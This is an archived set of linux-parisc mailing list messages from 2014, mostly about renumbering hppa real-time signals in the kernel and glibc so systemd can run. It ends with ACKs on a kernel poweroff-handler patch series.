Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: systemd on hppa and number of free RT signals
Date: Tue, 07 Oct 2014 23:21:28 +0200
Lines: 77
Approved: news@gmane.org
Message-ID: <54345958.6050808@gmx.de>
References: <5434418F.1020407@gmx.de> <CAE2sS1jy4sgs7xSev5-NnVqOqb8nUvQVGnc=JZt=tc-1HPdSgQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412716901 27903 80.91.229.3 (7 Oct 2014 21:21:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 21:21:41 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>,
	Jeroen Roovers <jer@gentoo.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 07 23:21:34 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XbcCL-0006k2-KQ
	for glpp-linux-parisc@plane.gmane.org; Tue, 07 Oct 2014 23:21:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752794AbaJGVVd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Oct 2014 17:21:33 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:63952 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751125AbaJGVVc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Oct 2014 17:21:32 -0400
Original-Received: from [192.168.178.60] ([84.173.33.33]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0MSMr9-1XnOh03AM7-00TYMR; Tue, 07 Oct 2014 23:21:30
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.7.0
In-Reply-To: <CAE2sS1jy4sgs7xSev5-NnVqOqb8nUvQVGnc=JZt=tc-1HPdSgQ@mail.gmail.com>
X-Provags-ID: V03:K0:44viUR9BKljyLBCeGAcXYWOtnrHRCY2AnAGSr+jJmuBuJZz84q9
 ZglhbEAb9B3wk7m7TR5Z7NV7nSjX3WJKUc+/DlwlSqttqn2hfEbROvZ4pKIasZBP88Re5qI
 H9jJ/7ySxa+d7KljFlA7z8GsDOYYWZbpSTxK88tIPdE0WvsdY/1WHMKUxRi3NU1x0is32mf
 rlSfNwT/bJp2GfzPAGN7A==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6139
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6139>

Hi Carlos,

On 10/07/2014 11:03 PM, Carlos O'Donell wrote:
> On Tue, Oct 7, 2014 at 3:39 PM, Helge Deller <deller@gmx.de> wrote:
>> I've just had a successful boot on hppa with systemd :-)
>> The bootlog is attached.
>
> Awesome.

Thanks!
  
>> The attached patches to Linux kernel and glibc shuffles around some signals,
>> so that we end up with
>> #define __SIGRTMIN      32
>> instead of
>> #define __SIGRTMIN      37
>
> This is the right way to go.
>
> Yes it's an ABI event, but these are fundamentally niche architectures
> for which we can't ask everyone else to adjust.

Yes, that was my opinion too.
  
>> I do know that this changes the ABI and introduces a binary incompatibly.
>> Nevertheless, my testing with the new kernel and glibc didn't showed any
>> obvious problems, which means that I could install either of those and the
>> system didn't showed problems even after reboots.
>
> That's because the signals you moved/removed aren't used by anything :-)
>
>> Additionally, given the fact that we have very little users and live in
>> debian/gentoo unstable would IMHO justify such an incompatible change. Even
>> HP-UX support was dropped a few months back...
>> And we could easily rebuild packages like strace, gdb and such...
>
> That's right.
>
>> The other option would be to increase NSIG in kernel from 64 to 128 or
>> higher.
>
> No, that's a very very bad idea because it has consequences on
> sigset_t and that would really really immediately break userspace.
>
>> I did tried to come up with kernel patches for this now for a few weeks, but
>> ended up with the recognition, that this would require to duplicate nearly
>> all of Linux kernel signal handling and which would most likely introduce
>> new bugs.
>
> Agreed.
>
>> What's your opinion on this?
>
> Flawless hack. Very well reorganized. Your removal of SIGLOST, and
> reorganizing is the best I could come up with also.
>
> The only thing I will do different is make SIGEMT equal to SIGABRT,
> that way we preserve the semantics of what this operation means. Linux
> doesn't use SIGEMT, but it keeps hppa defining this for use by other
> software that might want similar semantics. You can catch SIGABRT and
> operate on it, so it's one way forward.

Good idea!
  
> If you agree I'll checkin to glibc master.

I think we should check in the kernel changes first, which I can cover.
That shouldn't be a problem, but I assume people (Linus?) may ask why we do this.
Does it makes sense to set up a Wiki page with some more info about it?
If yes, I think I might need some help there...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: systemd on hppa and number of free RT signals
Date: Tue, 07 Oct 2014 23:25:53 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <54345A61.3020809@gmx.de>
References: <5434418F.1020407@gmx.de> <20141007225009.3c74e147@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412717167 31031 80.91.229.3 (7 Oct 2014 21:26:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 21:26:07 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 07 23:26:01 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XbcGe-0001V8-9i
	for glpp-linux-parisc@plane.gmane.org; Tue, 07 Oct 2014 23:26:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753678AbaJGVZ7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Oct 2014 17:25:59 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:59859 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751125AbaJGVZ7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Oct 2014 17:25:59 -0400
Original-Received: from [192.168.178.60] ([84.173.33.33]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0M2ojS-1YRvyG2V9i-00seSh; Tue, 07 Oct 2014 23:25:54
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.7.0
In-Reply-To: <20141007225009.3c74e147@marga.jer-c2.orkz.net>
X-Provags-ID: V03:K0:SYFkWcSSaHV0KrufamSnWU8R0PDQeLwV+l3b1BMH9VCApS82T6a
 W2I5GgCHjA9suQPV7dbhCaxAd/+H7Ix7v1DPt4DkQO4LQ6AI7uDrSMwN58Y+didQ8rbpD9V
 Rlrq7vkCKmU0z1DvB+8KZ6C3JxldMEYALx9MOAwUeU1LDpfDBr5O7HpdgwbV34QYGg2X3Hj
 YLzUZz63/O7hbPZ+T/tIA==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6140
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6140>

Hi Jeroen,

On 10/07/2014 10:50 PM, Jeroen Roovers wrote:
> On Tue, 07 Oct 2014 21:39:59 +0200
> Helge Deller <deller@gmx.de> wrote:
>
>> As already discussed here:
>> http://article.gmane.org/gmane.linux.ports.parisc/5278
>> we don't have enough RT signals for systemd, which requests
>> "SIGRTMIN+29" which is > 64 (SIGRTMAX). Since systemd gets more and
>> more important (e.g. KDE now seems to require systemd) we should try
>> to find a solution.
>
> We do have enough RT signals, as the patch attached to [1] demonstrates.

Agreed, my wording was maybe not perfect. We do have enough signals, but systemd
does has some strange expectations which you perfectly described in your bug report.

> I haven't tried that patch with recent versions of systemd, though.
> Unless systemd has started using even more signals or introduced even
> more gaps for no reason at all.

My patch brings hppa in sync with x86 and others, and those don't have more than us then.
This means we would be on the safe side :-)

>> Additionally, given the fact that we have very little users and live
>> in debian/gentoo unstable
>
> That's Debian unstable and Gentoo /stable/ thank you very much. :)

Sorry...
  
>> would IMHO justify such an incompatible change.
>
> Gentoo dropped support for GNOME and KDE years ago (except for some of
> the base libraries such as glib and gtk+ of course). The point being
> that these fat window managers run utterly slow (exactly as they do on
> much more recent x86 hardware).

It's not just the window manager. I tried to install "konsole" and this pulls in systemd.
  
> Interest in supporting systemd therefore never went beyond the
> purely academic interest displayed in [1]. Luckily, Gentoo already uses
> an alternative, modern init system. Gentoo/HPPA has little need for
> systemd, I would guess.

I think Debian will stay with sysvinit and systemd ?
  
>> The other option would be to increase NSIG in kernel from 64 to 128
>> or higher.
>
> Sounds like a lot of work.

Yes.

>> What's your opinion on this?
>
>  From my perspective it looks like a lot of work for very little gain.
> Gentoo has no need for systemd so all these changes would mean
> upgrading kernel and libc requires a lot more attention, and systemd
> could equally well compact the ill-chosen RT signal range.

As I mentioned before, I could not see any direct impact on a debian installation.
Of course I haven't tested everything, but I assume Gentoo would see similiar little
influence too.  

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: systemd on hppa and number of free RT signals
Date: Wed, 8 Oct 2014 01:12:07 +0300
Lines: 26
Approved: news@gmane.org
Message-ID: <20141007221207.GA599@drone.musicnaut.iki.fi>
References: <5434418F.1020407@gmx.de>
 <CAE2sS1jy4sgs7xSev5-NnVqOqb8nUvQVGnc=JZt=tc-1HPdSgQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412719946 30524 80.91.229.3 (7 Oct 2014 22:12:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 22:12:26 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>,
	Jeroen Roovers <jer@gentoo.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 08 00:12:18 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XbczR-0000Qk-P7
	for glpp-linux-parisc@plane.gmane.org; Wed, 08 Oct 2014 00:12:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751407AbaJGWMR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Oct 2014 18:12:17 -0400
Original-Received: from filtteri5.pp.htv.fi ([213.243.153.188]:51838 "EHLO
	filtteri5.pp.htv.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750895AbaJGWMQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Oct 2014 18:12:16 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by filtteri5.pp.htv.fi (Postfix) with ESMTP id 1429B5A6FEF;
	Wed,  8 Oct 2014 01:12:07 +0300 (EEST)
X-Virus-Scanned: Debian amavisd-new at pp.htv.fi
Original-Received: from smtp5.welho.com ([213.243.153.39])
	by localhost (filtteri5.pp.htv.fi [213.243.153.188]) (amavisd-new, port 10024)
	with ESMTP id 7765eGHu5fU4; Wed,  8 Oct 2014 01:12:00 +0300 (EEST)
Original-Received: from drone (91-145-91-118.bb.dnainternet.fi [91.145.91.118])
	by smtp5.welho.com (Postfix) with ESMTP id 1361A5BC004;
	Wed,  8 Oct 2014 01:12:08 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <CAE2sS1jy4sgs7xSev5-NnVqOqb8nUvQVGnc=JZt=tc-1HPdSgQ@mail.gmail.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6141
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6141>

Hi,

On Tue, Oct 07, 2014 at 05:03:30PM -0400, Carlos O'Donell wrote:
> On Tue, Oct 7, 2014 at 3:39 PM, Helge Deller <deller@gmx.de> wrote:
> > What's your opinion on this?
> 
> Flawless hack. Very well reorganized. Your removal of SIGLOST, and
> reorganizing is the best I could come up with also.
> 
> The only thing I will do different is make SIGEMT equal to SIGABRT,
> that way we preserve the semantics of what this operation means. Linux
> doesn't use SIGEMT, but it keeps hppa defining this for use by other
> software that might want similar semantics. You can catch SIGABRT and
> operate on it, so it's one way forward.
> 
> If you agree I'll checkin to glibc master.

BTW, is there any plan/schedule for getting glibc to support pa-risc
without out-of-tree patches? Any help (e.g. testing) needed there?

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: systemd on hppa and number of free RT signals
Date: Wed, 8 Oct 2014 01:34:18 +0300
Lines: 17
Approved: news@gmane.org
Message-ID: <20141007223418.GB599@drone.musicnaut.iki.fi>
References: <5434418F.1020407@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412721847 19601 80.91.229.3 (7 Oct 2014 22:44:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 22:44:07 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>,
	Jeroen Roovers <jer@gentoo.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 08 00:44:00 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XbdU7-0005wv-Ho
	for glpp-linux-parisc@plane.gmane.org; Wed, 08 Oct 2014 00:43:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755397AbaJGWn7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Oct 2014 18:43:59 -0400
Original-Received: from filtteri1.pp.htv.fi ([213.243.153.184]:52951 "EHLO
	filtteri1.pp.htv.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755396AbaJGWn6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Oct 2014 18:43:58 -0400
X-Greylist: delayed 572 seconds by postgrey-1.27 at vger.kernel.org; Tue, 07 Oct 2014 18:43:58 EDT
Original-Received: from localhost (localhost [127.0.0.1])
	by filtteri1.pp.htv.fi (Postfix) with ESMTP id 3302D21B930;
	Wed,  8 Oct 2014 01:34:25 +0300 (EEST)
X-Virus-Scanned: Debian amavisd-new at pp.htv.fi
Original-Received: from smtp5.welho.com ([213.243.153.39])
	by localhost (filtteri1.pp.htv.fi [213.243.153.184]) (amavisd-new, port 10024)
	with ESMTP id Nt6t7SnNYoW5; Wed,  8 Oct 2014 01:34:18 +0300 (EEST)
Original-Received: from drone (91-145-91-118.bb.dnainternet.fi [91.145.91.118])
	by smtp5.welho.com (Postfix) with ESMTP id 9A1835BC003;
	Wed,  8 Oct 2014 01:34:18 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <5434418F.1020407@gmx.de>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6142
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6142>

Hi,

On Tue, Oct 07, 2014 at 09:39:59PM +0200, Helge Deller wrote:
> Since systemd gets more and more important (e.g. KDE now seems
> to require systemd) we should try to find a solution.

Personally I don't mind such changes (I compile everything from scratch
so ABI breakages are not a big issue), but generally I think Linux/PA-RISC
community could maybe put more focus on some core issues like GCC
and GLIBC support...

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael J. Wysocki" <rjw@rjwysocki.net>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 03/44] hibernate: Call have_kernel_poweroff instead of checking pm_power_off
Date: Wed, 08 Oct 2014 01:41:56 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <1798000.odl6y9uKis@vostro.rjw.lan>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net> <1412659726-29957-4-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1412724126 11043 80.91.229.3 (7 Oct 2014 23:22:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 23:22:06 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Pavel Machek <pave
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Oct 08 01:21:58 2014
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1Xbe4p-0001Ee-8u
	for glpm-linux-m68k@plane.gmane.org; Wed, 08 Oct 2014 01:21:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755453AbaJGXVv (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 7 Oct 2014 19:21:51 -0400
Original-Received: from v094114.home.net.pl ([79.96.170.134]:54133 "HELO
	v094114.home.net.pl" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S1755373AbaJGXVu (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 7 Oct 2014 19:21:50 -0400
Original-Received: from afeu97.neoplus.adsl.tpnet.pl [95.49.124.97] (HELO vostro.rjw.lan)
 by serwer1319399.home.pl [79.96.170.134] with SMTP (IdeaSmtpServer v0.80)
 id 0b23d1089c40ac7f; Wed, 8 Oct 2014 01:21:48 +0200
User-Agent: KMail/4.11.5 (Linux/3.16.0-rc5+; KDE/4.11.5; x86_64; ; )
In-Reply-To: <1412659726-29957-4-git-send-email-linux@roeck-us.net>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:6272 gmane.linux.kernel:1803162 gmane.linux.drivers.devicetree:93321 gmane.linux.kernel.virtualization.lguest:1508 gmane.linux.acpi.devel:71333 gmane.linux.ports.alpha:2493 gmane.linux.kernel.efi:4781 gmane.linux.ports.hexagon:840 gmane.linux.ports.ppc64.devel:105964 gmane.linux.ports.tegra:19531 gmane.linux.kernel.openipmi:2499 gmane.linux.uml.devel:14713 gmane.linux.ports.arm.kernel:362631 gmane.linux.ports.ia64:24529 gmane.linux.kernel.metag:360 gmane.linux.ports.mips.general:44245 gmane.linux.ports.parisc:6143 gmane.linux.power-management.general:50713 gmane.linux.ports.sh.devel:39864
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/6272>

On Monday, October 06, 2014 10:28:05 PM Guenter Roeck wrote:
> Poweroff handlers may now be installed with register_poweroff_handler.
> Use the new API function have_kernel_poweroff to determine if a poweroff
> handler has been installed.
> 
> Cc: Rafael J. Wysocki <rjw@rjwysocki.net>
> Cc: Pavel Machek <pavel@ucw.cz>
> Cc: Len Brown <len.brown@intel.com>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>

ACK

> ---
>  kernel/power/hibernate.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/kernel/power/hibernate.c b/kernel/power/hibernate.c
> index a9dfa79..20353c5 100644
> --- a/kernel/power/hibernate.c
> +++ b/kernel/power/hibernate.c
> @@ -602,7 +602,7 @@ static void power_down(void)
>  	case HIBERNATION_PLATFORM:
>  		hibernation_platform_enter();
>  	case HIBERNATION_SHUTDOWN:
> -		if (pm_power_off)
> +		if (have_kernel_poweroff())
>  			kernel_power_off();
>  		break;
>  #ifdef CONFIG_SUSPEND
> 

-- 
I speak only for myself.
Rafael J. Wysocki, Intel Open Source Technology Center.

From - Thu Nov 08 21:10:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael J. Wysocki" <rjw@rjwysocki.net>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 08/44] kernel: Move pm_power_off to common code
Date: Wed, 08 Oct 2014 01:42:42 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <37182185.zXZciZMRZ5@vostro.rjw.lan>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net> <1412659726-29957-9-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1412724195 11851 80.91.229.3 (7 Oct 2014 23:23:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 23:23:15 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
        adi-buildroot-devel@lists.sourceforge.net,
        devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
        lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
        linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
        linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        openipmi-developer@lists.sourceforge.net,
        user-mode-linux-devel@lists.sourceforge.net,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-mips-bounce@linux-mips.org Wed Oct 08 01:22:59 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1Xbe5r-0001oz-1L
	for sgi-linux-mips@gmane.org; Wed, 08 Oct 2014 01:22:59 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:48883 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27010789AbaJGXW5NTiKA (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 8 Oct 2014 01:22:57 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 08 Oct 2014 01:22:41 +0200 (CEST)
Original-Received: from v094114.home.net.pl ([79.96.170.134]:56985 "HELO
        v094114.home.net.pl" rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org
        with SMTP id S27010786AbaJGXWkTZ9kY (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 8 Oct 2014 01:22:40 +0200
Original-Received: from afeu97.neoplus.adsl.tpnet.pl [95.49.124.97] (HELO vostro.rjw.lan)
 by serwer1319399.home.pl [79.96.170.134] with SMTP (IdeaSmtpServer v0.80)
 id 4788d944d185ff7c; Wed, 8 Oct 2014 01:22:35 +0200
User-Agent: KMail/4.11.5 (Linux/3.16.0-rc5+; KDE/4.11.5; x86_64; ; )
In-Reply-To: <1412659726-29957-9-git-send-email-linux@roeck-us.net>
X-archive-position: 43097
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: rjw@rjwysocki.net
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
